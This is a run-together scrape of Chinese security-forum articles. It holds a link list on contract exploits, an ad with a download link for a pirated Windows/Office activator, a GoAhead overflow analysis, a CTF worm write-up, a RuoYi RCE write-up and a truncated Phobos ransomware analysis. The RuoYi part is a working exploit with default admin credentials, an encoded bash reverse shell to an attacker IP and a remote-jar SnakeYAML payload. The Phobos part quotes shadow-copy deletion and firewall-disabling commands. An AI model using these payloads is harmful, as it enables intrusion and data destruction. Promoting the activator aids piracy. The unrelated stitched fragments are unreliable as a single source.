【1】[Explaining the DAO exploit for beginners in
Solidity](https://medium.com/@MyPaoG/explaining-the-dao-exploit-for-beginners-in-solidity-80ee84f0d470)
【2】[Building a safer crypto token](https://medium.com/cybermiles/building-a-safer-crypto-token-27c96a7e78fd)
【3】EDU问题：还原EDU被黑客攻击始末：期货与现货的组合套现
【4】BAI 智能合约存在和 EDU 一样的漏洞，可转走任意账户里的 BAI Token
【5】[EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function
Table Array Out of Bounds](http://blogs.360.cn/blog/eos-node-remote-code-execution-vulnerability/)
【6】区块链智能合约漏洞，想说补你不容易（干货）
【7】导致惨重代价的Bug
【8】[Monero Gold – The story and tech specs of a 4 million USD shitcoin scam,
brilliantly executed](https://66shitcoins.com/blog/2018/2/4/monero-gold-the-story-and-tech-specs-of-a-4-million-usd-shitcoin-scam-brilliantly-executed)
【9】[Monero Gold (XMRG) 价格，图表，市值，以及其他计量 |
CoinMarketCap](https://coinmarketcap.com/zh/currencies/monero-gold/) | 社区文章 |
Re-Loader Activator是一款Windows 系统和 Office 产品的激活工具，支持Office、Windows 全系列产品激活，
**这款工具自带简体中文，无需联网可离线使用，支持KMS激活、AntiWPA和OEM方式永久激活、自定义KMS、移除KMS、移除水印、个性化OEM系统信息等功能，非常不错的激活利器！**
**新版变化：**
<http://nsaneforums.com/topic/275916-re-loader-v3xxx-by-r1n/>
Version 3.0 Beta 3 (02/09/2016)
* Update Spanish.
* Add ability to choose the channel on which to generate the product key.
* Fixed a problem when there were no methods to activate Windows.
* Small graphic change.
Version 3.0 Beta 2 (01/09/2016)
* Removed LastChance.
* Fixed problem with incorrect activation of an edition of Windows.
* Algorithm made more generic KMS activation. Theoretically it would be possible to activate any ID is in the list.
* If you can not activate windows, you might find in any case office.
Version 3.0 Beta 1 (28/08/2016)
* Updated Spanish translation (Tnx -=4lfre1re=-).
* Rewritten Ra1nb0w framework, it is now much easier for the Re-Loader distinguish each version of Windows/Office.
* Added a small Keygen (but hidden).
* Added vyvojar’s SLSHim (thank you for sharing your work vyvojar), Here is called LastChance.
* The activation should be faster.
* Fixed a bug with Windows activation SLIC for Win Vista.
* Updated Twitter account, you can find me with @Ra1nReLoader, OTHER ACCOUNTS ARE FAKE.
Versione 2.6 Final (14/08/2016)
* Aggiunta traduzione spagnola (grazie -=4lfre1re=-).
* I’m back on Twitter with the account @Ra1nReLoader This is my original account! other accounts are fake! be careful!
* I think of a great revolution, expect surprises in the coming weeks.
**此工具支持的激活方式：**
* AntiWPA激活方法支持：Windows XP
* OEM激活方法支持：Windows Vista, Windows 7, Windows Server 2008 (R2)/2012 (R2), 2016 RTM
* KMS 激活方法支持：Windows Vista, Windows 7, Windows 8.0, Windows 8.1, Windows 10, Windows Server 2008 (R2), Windows Server 2012 (R2), Windows Server 2016 RTM
注：KMS激活方式还支持：Office 2010,Office 2013,Office 2016所有版
详细静默参数见自述文本！系统环境要求：
Win7需装框架 .NET 4.0+，Win8/Win10无需
**Re-Loader v3.0 Beta 3 / v2.6 Final By R@1n**
该工具自带原生简体中文、绿色免安装，超级好用
<http://pan.baidu.com/s/1i5JeU8l> 访问码fgnf | 社区文章 |
# 前言
最近在分析 `dlink` 的一个固件时遇到了用 `goahead` 开发的 `web` 服务。本文以一个 `github` 上的
开源项目为例简单介绍下对基于 `goahead` 的程序的分析。
https://github.com/Grant999/goahead-1
这里用的 `goahead` 程序的版本为 `2.5`
# 正文
## 编译运行
把源码下载下来，然后使用 `make` 编译即可。
$ make
................................................
................................................
................................................
gcc -m32 -g -O0 -Wall -DWITH_NONAMESPACES -o webs -Os \
-DWEBS -DOS="LINUX" -DLINUX -DUSER_MANAGEMENT_SUPPORT -DDIGEST_ACCESS_SUPPORT -I. -g -O0 -Wall \
main.o libwebs.a
tempnam' is dangerous, better use `mkstemp'
编译完成后当前目录下会生成一个 `webs` 的文件， 这个就是 `goahead` 编译完成生成的二进制文件。
然后运行它，就会在 `80` 端口起一个 `http` 服务（监听 `80` 端口需要权限， 所以用 `root` 运行程序）。
$ sudo ./webs
webdir: ./www
然后用 浏览器去访问
## 分析
要测试一个东西，首先需要尽可能的去了解它（信息搜集）。
## goahead 开发 api
我们首先了解一下 `goahead` 的工作机制。
`GoAhead` 自身实现了一个 `web` 服务器所需提供的基本功能，此外它提供了多种方法供用户扩展服务器的功能， 其中包括
`asp`过程、`GoForms` 过程 , `embedded JavaScript` 以及外部 `cgi` 程序等，
用户可以根据这些接口开发出各种各样的功能。
对于 `goahead` 本身， 这个项目时间也非常就久了，安全性也得到了检验，所以我们分析的重点不是`goahead`
本身的代码，而应该是用户自定义的那些代码。
相关的 `api` 如下
**websUrlHandlerDefine**
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
表示 对 `/goform` 的请求都交给 `websFormHandler` 函数处理。函数的参数列表如下
int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t *query)
其中 `wp` 这个参数里面包含了用户 请求的相关信息，比如请求头， 请求数据等。开发者通过 `wp` 这个参数就能获取到 用户请求的信息了。
**websAspDefine**
websAspDefine(T("aspTest"), aspTest);
当在 `asp` 文件中调用 `aspTest`, 实际调用的是这里 `aspTest` 这个 `c` 函数
ps:
调用的 `asp` 函数的语句需要用 `<% %>` 包围
**websFormDefine**
websFormDefine(T("privacy"), FormPrivacy);
和 `websUrlHandlerDefine` 差不多， 表示往 `/goform/privacy` 的请求由 `FormPrivacy`
这个函数进行处理。
## 漏洞分析
根据上面提到的 `api` 在源代码里面搜索引用，可以很快的找的注册用户自定义回调函数的位置。
位于 `initWebs` 函数
向上面4个 `websUrlHandlerDefine` 是 `goahead` 自带的，这里不管它。
通过对下面几个注册的函数的简单浏览，在 `FormPrivacy` 函数内部存在一个栈溢出漏洞。
下面对这个函数做一个简单的分析
首先用
websGetVar(wp, T("Operate"), T(""))
获取 `Operate` 参数的值， 然后根据值的不同，进行不同的操作。
问题出在了 `set` 这操作的处理逻辑
首先取出几个参数， 然后使用 `sprintf` 把参数填到 `szParam` 这个缓冲区 （缓冲区大小为 `20 * 20`)， 这里
`sprintf` 使用的是 `%s` 不会校验字符串的长度，所以当我们传一个很长的字符串作为 `Height` 的参数值，就会触发栈溢出。
## 触发+简单调试
通过搜索关键字，定位到往这里 发请求的应该是 `privacy.asp`
然后访问他
填些参数然后抓包， 修改 `Height` 的值为一个很长的字符串
同时在 `FormPrivacy` 设置一个断点， 发送请求过去，程序会断下来， 我们可以看看参数信息。
可以看到 `wp` 里面保存了此次请求的相关信息， 继续运行可以触发栈溢出
# 总结
分析 `goahead` 等可供开发者扩展的程序，分析的重点应该在那些自定义的代码上。 | 社区文章 |
# 2016 Worm 逆向题解题报告
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.vxsecurity.sg/2016/04/15/walkthrough-x-ctf-2016-worm/>
译文仅供参考，具体内容表达以及含义原文为准。
题目:一款恶意软件被发现可以感染”NUS GOVT”驱动器类型U盘。恶意软件使用加密算法加密向外发送的数据。请使用以下格式提交答案: XCTF{SHA1
of(key1 + key2 + key3)}
文件:add4f352cbcb62fffe01eccf78a912b8
SHA1 Hash: 16e9245a14e223b83fde700aa6904e2f487ef07b
首先我们使用IDA看看能得到什么信息。
浏览IAT窗口,我们发现有很多SetupDI前缀的函数被调用,查询MSDN可以发现这些函数都是用来枚举即插即用设备的。
图 1、导入表
SetupDiGetDeviceRegistryProperty函数获得一个特殊的即插即用设备驱动属性。
在IDA中查看其交叉引用(IDA快捷键X),可以发现更多有用的东西,看起来这个恶意软件试图寻找一个USBSTOR类的设备。这是很正常的,因为题目中已经说到该恶意软件会感染“NUS
GOVT”类型USB驱动设备。我们之后可以在OllyDgb中下断点,看看恶意软件到底做了些什么。在调用该函数的反汇编代码中可以发现,其试图匹配字符串“NUS
GOVT”。现在我们先记下这个操作。
图 2、查看SetupDiGetDeviceRegistryProperty交叉引用
在IDA的字符串窗口,也可以发现一些有趣的东西,看起来这个恶意软件想通过autorun.inf来感染。好的,我们暂时先记下这个发现。在字符串窗口我们同样可以看到wsock32.dll,Ws2_32.dll等,但是在导入表中,我们没有发现任何调用这些库中的函数。
或许,GetProcAddress函数被使用了。
图 3、autorun.inf在strings表中
现在,我们打开Ollydbg。遇到访问违例(Access Violation),向上回溯我们会发现,恶意软件使用了反调试机制。
图 4、访问违例
代码中,如果发现有调试器存在,就会jmp
到0x4141FD+1,否则跳转到0x4041F4,我们可以简单的设置新的origin为0x4041F4来绕过这个反调试机制。
图 5、fs[18h]
我们在地址0x4026D1处下断点,根据图2这里是比较字符串“NUS GOVT”的位置。如下图所示:
图 6、匹配驱动器名称 NUS GOVT
下面我们手工将当前的驱动器名称修改为“NUS GOVT”,如下图所示:
图 7、修改驱动器名称为 NUS GOVT
继续运行该二进制代码。。。
程序再一次崩溃,但是这一次,有一些文件被拷贝进了我们的usb驱动器中。
图 8、autorun.inf
似乎有一些二进制文件拷贝到了RECYCLER文件夹中,而且是隐藏文件,我们使用“attrib –h -s”来显示这些隐藏的文件。
图 9、拷贝的二进制文件
将二进制文件在IDA中加载分析,似乎这个二进制文件和该恶意软件是仙童的,但是它们的文件哈希不一样。在Ollydbg中打开文件,同样发现了反调试代码。我们依然在0x4026D1处下断点,然后修改驱动器名称为“NUS
GOVT”。为了方便我直接点击run运行然后监控所有的动态信息。WireShark捕捉到了一些http通信流。
图 10、捕获的http 通信数据
记得之前我们怀疑程序中使用了GetProcAddress,我们在字符串表中发现了与socket相关的动态链接库,但是我们在导入表中没有发现任何与网络通信相关的函数被调用。所以,我们在函数GetProcAddress出下断点,查看是否能发现有用的东西。
图 11、通过GetProcAddress获得WSAStartup函数
返回到用户空间代码,我们在Ollydbg中看到如下图所示的混淆代码:
图 12、混淆代码
我们使用OllyDbg重新分析上述代码,得到如下图所示的汇编代码:
图 13、OllyDbg重新分析出来的汇编代码
分析上述代码,我们发现,与nus.edu.sg/ctf.php的外部通信连接,通过参数传递了一些数据,附加到user
agent字符串中。我们返回寻找调用该函数的代码。
图 14、加密数据?
看起来调用代码函数@0x403210被保护了,因此即使在这里设置一个软中断,也不会起作用,因为这里的代码是运行时重建的。在这种情况下,我们需要使用硬件中断。在调用0x403210之前,函数@0x401FD0被调用了两次来解混淆0x403210处的混淆代码。在调用了0x403210处函数之后,再次调用@0x401FD0来重新混淆代码。
图 15、向外发送数据
从图15中,我们发现了一个模式,似乎在上述发送数据函数0x403210调用之前,函数@0x401090解混淆&重新混淆了3次。
图 16、0x401090 处加密函数
在0x401090处下断点,我们可以发现一些十分有趣的现象。这个函数在传递我的计算机名称和一个字符串(可能是加密密钥)。
图 17、发现key1
继续两次进入断点,我们可以获得所有的3个key(前面已经发现有三次加密混淆操作)。
图 18 key2找到
图 19、key3找到
因此这一题的falg应该是
sha1(“MED DNI PTS oRTO RUO VAN MOC iASP VED MDA IONDEADBEEFNU5_MA5T3R”)
XCTF{1f5020e4c091d1464c16c157bc0e56f3d81a3b3a}
提交之后,错误!
这个flag不正确,回忆一下autorun.inf,这里有几个传递的参数,参见图8.
我们试试使用这几个传递的参数重新进行上述步骤…
图 20、得到了不同的key2
结果,我们得到了一个不同的key2
sha1(“MED DNI PTS oRTO RUO VAN MOC iASP VED MDA IONMEDiCINENU5_MA5T3R”)
所以真正的Flag是: XCTF{db8496580ff636bc51ade827d1999d32d5dabb1c}
提交,结果正确 | 社区文章 |
漏洞标题：若依后台RCE
漏洞类型：命令执行
漏洞等级：严重
影响范围：RuoYi<=4.6.2
简要描述：由于若依后台计划任务处，对于传入的"调用目标字符串"没有任何校验，导致攻击者可以调用任意类、方法及参数触发反射执行命令。
闲聊：最近正好在学java，并且项目中又遇到若依，于是就顺手分析了一下这个漏洞，在下才疏学浅各位大佬勿喷！！！
#### 利用步骤：
1、利用Github项目生成恶意jar包：<https://github.com/artsploit/yaml-payload>
先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}
接着运行如下命令打包成jar文件
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
2、利用python监听HTTP请求，让受害者能够访问到yaml-payload.jar。并且监听反弹shell
python3 -m http.server 2333
nc -lvnp 1234
3、登录进入后台（默认密码admin/admin123，ry/admin123），然后进入系统监控/定时任务/新增，添加计划任务。
"调用目标字符串"输入YAML语句：
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')
4、计划任务执行完成之后就能收到受害者的回连请求
####
#### 代码审计过程：
1、当我们添加并执行计划任务时，若依(ruoyi)会调用com.ruoyi.quartz.util#JobInvokeUtil 解析并执行我们传入的数据
这里的代码逻辑：
beanName 获取传入的类名；
methodName 获取传入的方法名；
methodParams 获取传入方法的参数，如果参数异常会报错导致无法执行下一步；
�
接着判断传入的类名是否有效(判断逻辑：是否含有小数点)，有效的话就会调用Class.forName(beanName).newInstance();
进行实例化，然后运行invokeMethod(bean, methodName, methodParams); 执行该类对应的方法
2、可能直接贴代码大家不知道数据是怎么传输的，现在我传入一串如下数据，然后调试一下大家就明白了(这里有个坑，传入的字符串必须用单引号包含，不然会出现问题，尤其是EXP的时候，刚开始复现漏洞就因为这里弄了好久还以为是玄学，感兴趣的可以看看com.ruoyi.quartz.util#getMethodParams)
java.lang.xxx.func('aaa')
【+】我们传入的是java.lang.xxx.func('aaa')
* beanName = "java.lang.xxx"
* methodName = "func"
* methodParams = "aaa"
最终执行的反射代码为：Class.forName("java.lang.xxx").getDeclaredMethod("func",
String.class).invoke(Class.forName("java.lang.xxx").newInstance(), "aaa")
3、由于反射时所需要的：类、方法、参数都是我们可控的，所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的，该类只需要满足如下几点要求即可：
* 具有public类型的无参构造方法
* 自身具有public类型且可以执行命令的方法
4、在网上看文章发现大佬们找到 _ **org.yaml.snakeyaml.Yaml**
_满足这些条件，YAML执行命令参考:[浅蓝大佬文章](http://www.b1ue.cn/archives/239.html)
* 个人比较喜欢调用RMI来执行命令，但是若依(ruoyi)调用RMI会报错，所以只能调用远程jar进行命令执行
import org.yaml.snakeyaml.Yaml;
import java.lang.reflect.InvocationTargetException;
public class YamlDemo {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://1.1.1.1:2333/Demo.jar']]]]");
//yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
//Class.forName("org.yaml.snakeyaml.Yaml").getMethod("load", String.class).invoke(Class.forName("org.yaml.snakeyaml.Yaml").newInstance(), "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://192.168.3.3:2333/Demo.jar']]]]");
}
}
5、于是我们构造出最终传入的payload为
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]') | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware>**
## 前言
Phobos [勒索软件](https://en.wikipedia.org/wiki/Ransomware)
自2019年初被安全研究人员首先发现后，不断推出新的变型，这些变型不仅进化了攻击方法，还频繁更改过去变型中加密文件的扩展名。
两周前，FortiGuard实验室采集了一个新的威胁样本。这是一个Microsoft
Word文档，它带有一个恶意宏，旨在传播Phobos的EKING变型。在本篇文章中，我将展示此变型如何感染受害者的系统，以及它如何使用AES算法在受害者设备和共享网络文件夹上扫描和加密文件。
## 在MS Office Word中打开捕获的示例
打开Word文档后，它会显示一条警告，指示受害者单击黄色栏中的“enablecont”按钮以启用宏，如图1.1所示。
由于宏可能包含恶意代码，因此默认情况下，MS Office
Word会显示“安全警告”，警告用户该文档可能存在风险。然后，用户可以决定是否执行宏（通过单击“Enable Content”按钮）。
图1.1 MS Office Word中的样本内容
通过查看宏代码，我发现它具有一个名为Document_Close（）的内置事件函数，当MS Office
Word退出时会自动调用该函数。换句话说，恶意宏代码是在受害者关闭文档时执行的。这还具有绕过某些沙箱解决方案进行检测的好处（[FortiSandbox](https://www.fortinet.com/products/sandbox/fortisandbox.html?utm_source=blog&utm_campaign=2018-q2-fortisandbox-main-page)将该恶意Word附件检测为风险软件。）
它从打开的样本中提取一个base64编码的块到本地文件“ C：\ Users \ Public \ Ksh1.xls”。通过调用命令“ _Certutil
-decode C：\ Users \ Public \ Ksh1.xls C：\ Users \ Public \ Ksh1.pdf_
”将文件解码为另一个文件。“ Ksh1.pdf”是base64解码的文件的PE文件（DLL文件）。 _图1.2_
是宏代码的屏幕截图，显示了将在何处执行将base64文件“ Ksh1.xls”解码为“ Ksh1.pdf”的命令。
图1.2
宏到base64解码提取的文件
宏的最后一项任务是通过执行命令“ _Rundll32 C：\ Users \ Public \ Ksh1.pdf，In_ ”来执行解码的PE文件“
Ksh1.pdf ”。解码后的PE文件“ Ksh1.pdf”是一个具有导出功能“ _In_ ”的DLL文件，由上述命令行中的“
Rundll32.exe”调用。
图1.3
导出功能的ASM代码在
图1.3显示了“ Ksh1.pdf”的导出功能“ In”的ASM代码。可以很容易地理解它首先在“ C：\ Users \ Public \
cs5”处创建了一个新目录。它通过以下方式将文件从URL“ hxxp：// 178 [.] 62 [.] 19 [.] 66 / campo / v /
v”下载到文件“ C：\ Users \ Public \ cs5 \ cs5.exe”中调用API“
URLDownloadToFile（）”。最后，它通过调用API“ CreateProcessA（）”来运行下载的“
cs5.exe”文件。顺便说一下，下载URL字符串和完整文件路径字符串是硬编码在DLL文件“Ksh1.pdf”中的。有趣的是，下载的文件“
cs5.exe”是Phobos的有效负载文件。
## 查看有效载荷EXE文件
“ C：\ Users \ Public \ cs5 \
cs5.exe”是Phobos的EKING变体的有效载荷，它受到未知包装器的保护，如图2.1中的Exeinfo PE所示。
图2.1
受保护的Phobos有效载荷EXE文件
Phobos具有AES加密的配置块，其中包含许多配置信息（此变体中为69项）。它们在与索引编号参数一起使用之前在函数中解密。它还包含用于加密文件的新扩展名字符串，用于生成用于加密文件的密钥的数据，文件排除列表，Phobos的版本信息，受害者的赎金信息等。
在图2.2中，我们可以看到解密加密文件“ .id [<< ID >>-2987]。[[email protected]]
.eking”2新扩展名的示例，其索引号为0x04。根据一个索引号为0x33解密字符串“ [<< ID >>-2987]
v2.9.1”，我们知道此变体的版本为v2.9.1。
图2.2
从配置块解密新的扩展
## 启动第二个进程并执行两组命令
当“ cs5.exe”运行时，它通过调用API
CreateProcessWithTokenW（）以及来自Explorer.exe进程创建自身的第二个进程，以便第二个进程在Explorer.exe令牌的安全上下文中运行。这样，它就具有在受害者的系统上读写更多文件所需的特权。
Phobos在两个创建的线程中执行两组命令。
下面列出了第一组命令以及我添加的注释：
`` `*vssadmin delete shadows / all / quiet* –删除该卷的所有卷影副本。 *wmic shadowcopy
delete* –从本地计算机删除卷影副本。 *bcdedit / set {*default*} bootstatuspolicy
ignoreallfailures bcdedit / set {*default*} recoveryenabled no* –禁用自动启动修复功能。
*wbadmin delete catalog –quiet* –删除备份目录。 *exit*` ``
通过删除Windows系统为系统还原创建的卷影副本，受害者无法使用它来还原加密的文件。它还可以防止受害者从自动启动修复或备份目录中还原文件。
第二组命令关闭了受感染系统上的Windows防火墙，如下所示。
`` `*netsh advfirewall将currentprofile状态设置为off* –针对Windows 7和更高版本。
*netsh防火墙设置opmode模式=禁用* –针对Windows XP，Windows 2003版本。 exit` ``
## 添加自动运行项目
该恶意软件还从加密的配置块中解密字符串“ Software \ Microsoft \ Windows \ CurrentVersion \
Run”（索引号为0x11），这是注册表子密钥路径。然后，它为两个根键HKEY_LOCAL_MACHINE和HKEY_CURRENT_USER的相同子键创建一个自动运行项“
cs5”。图4.1是根键“ HKEY_CURRENT_USER”下添加的自动运行项的屏幕截图。
图4.1添加了自动运行项目“
cs5”
除了将此项添加到系统注册表中的自动运行组之外，它还将“ cs5.exe”复制到两个自动启动文件夹中：“％AppData％\ Microsoft \
Windows \ Start Menu \ Programs \ Startup”和“％ProgramData” ％\ Microsoft \
Windows \开始菜单\程序\启动”。图4.2显示了将“ cs5.exe”复制到两个启动文件夹中的ASM代码片段。
图4.2将有效负载文件复制到启动文件夹中
Windows启动时，这两个文件夹中的可执行文件由Windows系统自动执行。这意味着Windows将在启动时启动四个“
cs5.exe”文件以维护恶意软件的生存。Phobos具有一种使用Mutex对象来确保仅一个进程正在运行的机制。如果存在相同的互斥对象，其他“
cs5.exe”进程将退出。
## Phobos在受害者系统上执行的核心任务
勒索软件的核心任务是加密受害者的文件，然后要求勒索以解密那些加密的文件。在本节中，我将向您展示Phobos的EKING变体如何执行此任务。
为了提高性能，它创建了多个线程来扫描和加密受害者系统上的文件。此外，它使用大量Event对象来控制和同步这些线程的进度。
### 1.终止进程的线程
它从启动线程开始，以防止终止包含列出的41个进程名称的名称列表中的指定进程，如下所示。您可能已经猜到，名称列表也是从配置块中以索引号0x0a解密的。
`` `*msftesql.exe; sqlagent.exe; sqlbrowser.exe; sqlservr.exe; sqlwriter.exe;
oracle.exe; ocssd.exe; dbsnmp.exe; synctime.exe; agntsvc.exe;
mydesktopqos.exe; isqlplussvc.exe; xfssvccon。 exe; mydesktopservice.exe;
ocautoupds.exe; agntsvc.exe; agntsvc.exe; agntsvc.exe; encsvc.exe;
firefoxconfig.exe; tbirdconfig.exe; ocomm.exe; mysqld.exe; mysqld-nt.exe;
mysqld- opt.exe; dbeng50.exe; sqbcoreservice.exe; excel.exe; infopath.exe;
msaccess.exe; mspub.exe; onenote.exe; outlook.exe; powerpnt.exe; steam.exe;
thebat.exe; thebat64。 exe; thunderbird.exe; visio.exe; winword.exe;
wordpad.exe*` ``
这个进程名列表已经被发现多次被其他勒索软件用来做同样的动作。
这些进程属于MS SQL Server、Oracle数据库、VMware、Panda Security、MySql、FireFox、SQL
Anywhere、RedGate SQL Backup、MS Excel、MS Word、MS Access、MS PowerPoint、MS
Publisher、MS OneNote、MS Outlook、Bat等产品、Thunderbird、写字板等。
Phobos会继续终止这些应用程序，以迫使它们释放当前打开的任何文件，以便Phobos可以对其进行加密。
### 2.扫描要加密的文件的线程
该线程的线程函数调用API GetLogicalDrives（）来调用受害系统上的所有逻辑驱动器，例如“ C：\”，“ D：\”，“
E：\”等等。它为每个逻辑驱动器创建两个扫描线程。这意味着每个逻辑驱动器中的文件由两个线程处理。
图5.1忽略两个系统文件夹
为了避免破坏受害者的Windows系统，它会忽略对两个系统文件夹及其子文件夹下的加密文件，它们分别是“％WinDir％”（通常是“ C：\
Windows”）和“％ProgramData％\ Microsoft \ Windows \ Caches”
。图5.1显示了Phobos能够检测当前路径（“ \？\ D：”）是否与它需要忽略的两个系统文件夹匹配。
如前所述，它创建了两个线程来扫描每个逻辑驱动器的文件。一个线程用于普通扫描（一个文件接一个文件），另一个线程仅用于与数据库相关的文件的特殊扫描。我可以假设这些文件对受害者来说比其他文件更有价值。然后，它将按以下扩展名扫描数据库文件，扩展名如下（解密索引号为0x06）：
`` `*fdb; sql; 4dd; 4dl; abs; abx; accdb; accdc; accde; adb; adf; ckp; db; db-journal; **db-shm; db-wal; db2; db3; dbc; dbf; dbs; dbt; dbv; dcb; dp1; eco;
edb; epim; fcd; gdb; mdb; mdf; ldf; myd; ndf; nwdb; nyf; sqlitedb; sqlite3;
sqlite;*` ``
除此之外，它还具有两个扩展排除列表。其中一个包含Phobos在其历史记录中使用的加密文件扩展名，如下所示（解密索引号为0x07）：
``
`*eking;actin;Acton;actor;Acuff;Acuna;acute;adage;Adair;Adame;banhu;banjo;Banks;Banta;Barak;Caleb;Cales;Caley;calix;Calle;Calum;Calvo;deuce;Dever;devil;Devoe;Devon;Devos;dewar;eight;eject;eking;Elbie;elbow;elder;phobos;help;blend;bqux;com;mamba;KARLOS;DDoS;phoenix;PLUT;karma;bbc;CAPITAL;WALLET;*`
``
另一个列表包含此变体用来显示其受害者勒索信息的文件，以及一些Windows系统文件，如下所示（解密索引号为0x08）：
`` `*info.hta; info.txt; boot.ini; bootfont.bin; ntldr; ntdetect.com; io.sys;
osen.txt*` ``
扫描线程在回调函数中使用这两个排除列表来过滤文件以根据其规则进行加密。同时，Phobos还在每个扫描线程中创建了一个加密线程，用于对受害者的文件进行加密。扫描线程和加密线程如何协同工作：扫描线程继续扫描文件，并将具有完整路径的文件名复制到公共缓冲区中，并在选择一个文件后设置事件。然后，加密线程可以从公共缓冲区中获取文件名并进行加密。
### 3.加密算法和密钥使用
Pbobos使用AES（[高级加密标准](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)）CBC（密码块链接）模式作为其加密文件的加密算法。在我的分析中，Phobos的这种变体没有使用Windows提供的用于AES的内置Crypto
API，而是实现了自己的AES功能。
当人们谈论AES CBC加密和解密时，通常会提到“ IV”和“ Key”。
对于其密钥长度，我们知道Phobos使用256位AES密钥（20H字节），这是最强的文件加密。此外，它使用非对称的公私钥密码系统来保护AES密钥。从索引号为0x2的配置块中解密公钥。
图5.2
AES密钥及其公开密钥已加密
AES密钥是使用10H字节的随机数据和10H字节的数据从解密的公共密钥生成的。如图5.2所示，它在内存窗口顶部生成了AES密钥（20H字节）。后续信息是加密的AES密钥（80H字节）的相关数据，该数据是使用卷序列号“％systemdrive％”（例如受害者系统上的“
C：\”）和公共密钥生成的，以及函数Sub_401706中的一些解密常量值。加密的AES密钥后的最后四个字节是以上两部分的CRC32的hash值。
只要受害者提供了由Phobos中的API
GetVolumeInformationW（）获取的系统驱动器卷序列号，加密的AES密钥以及其他常量值的数据，攻击者就可以使用其私钥来还原AES密钥。加密的AES密钥将记录在加密的文件中，稍后我将解释加密的文件结构。这就是为什么它要求受害者在勒索信息页面上提供系统驱动器的卷序列号的原因。
IV（初始化向量）数据的长度为10H字节，通常是随机生成的。它也像加密的AES密钥一样记录在加密的文件中。IV与AES密钥一起用于数据加密，就像MD5算法的盐一样。
一旦获得IV数据和AES密钥，它就可以解密加密的文件。
### 4.加密文件的线程
如上所述，这是扫描线程启动的加密线程。扫描线程选择文件后，便会将文件的完整路径复制到加密线程的公用缓冲区，该缓冲区由扫描线程通知（设置事件对象）。
然后，它将配置块中的格式字符串（索引号0x04）解密为那些加密文件的新文件扩展名，如下所示，其中“ << ID >>”将替换为系统驱动器的卷序列号。
`` `*.id [<< ID >>-2987]。[[email protected]] .eking*` ``
图5.3具有新扩展名的加密文件
这只是带有新扩展名的加密文件的格式化新文件名。这次，由扫描线程选择和过滤的文件为“ \？\ E：\ test_file.txt”，其加密文件名为“ \？\
E：\ test_file.txt.id [[581F1093- 2987]。[[email protected]] .eking”。
它继续读取所选文件的内容（例如：“ E：\
test_file.txt”）。我们知道AES加密块的大小固定为10H字节。因此，如果要加密的数据大小未与10H对齐，则需要使用填充来附加数据（Phobos使用“
00”作为填充）来解决该问题。
图5.4调用AES_CBC_Encrypt（）函数来加密文件内容
图5.4显示了Phobos将要调用AES_CBC_Encrypt（）函数，该函数的arg0是一个密钥对象（AES_CTX
Struct），其中包含用于加密内存窗口中所示文件内容的IV和密钥（附加了三个“ 00”填充元素）。
加密后，Phobos通过调用API WriteFile（）将密文保存到加密文件中（例如，“ E：\ test_file.txt.id
[[581F1093-2987]。[[email protected]] .eking”），如图5.5所示。
图5.5将密文保存到加密文件中
加密的文件内容由两部分组成。第一部分是 原始文件内容的 _密文_
。第二部分是一组数据，我称其为decryption_config_block。它用于解密第一部分。图5.6是加密文件内容的屏幕截图。我将解释一下decryption_config_block包含的内容。
图5.6加密文件内容的示例
前10H个字节（用红色包围）是加密的原始文件内容，如图5.5所示。40H字节（由蓝色包围）是一个加密的部分，其中包含一些常量值以及原始文件名，这些文件使用相同的AES密钥和IV进行加密。随后的14H字节“
00”可以视为数据定界符。10H字节（由黑色包围）仅是此文件的IV数据。下一个Dword
0x03告诉原始文件内容附加的填充的大小（再次参考图5.5）。80H数据块（绿色）是加密的AES密钥的相关数据，该数据在扫描线程中生成，并且对于不同的扫描线程而言是不同的。下一个Dword
0xF2是整个decryption_config_block的大小。
Phobos要做的最后一件事是调用API DeleteFileW（）从受害人的系统中擦除原始文件。
### 5.扫描网络共享资源
该线程功能专注于网络共享资源。Phobos使用参数dwScope的不同值多次调用API
WNetOpenEnum（）。这些是RESOURCE_CONNECTED，RESOURCE_RECENT，RESOURCE_CONTEXT，RESOURCE_REMEMBERED和RESOURCE_GLOBALNET。
`` `RESOURCE_CONNECTED：枚举所有当前连接的资源。 RESOURCE_RECENT：枚举所有最近连接的资源。
RESOURCE_CONTEXT：仅枚举调用方的网络上下文中的资源。 RESOURCE_REMEMBERED：枚举所有记住的（持久的）连接。
RESOURCE_GLOBALNET：枚举网络上的所有资源。` ``
这项工作涉及API WNetOpenEnumW（）和WNetEnumResourceW（）来枚举网络共享资源。
成功获取一种资源后，Phobos将使用上面的资源的完整地址（如\？\ UNC \ {resource name} \ {folder
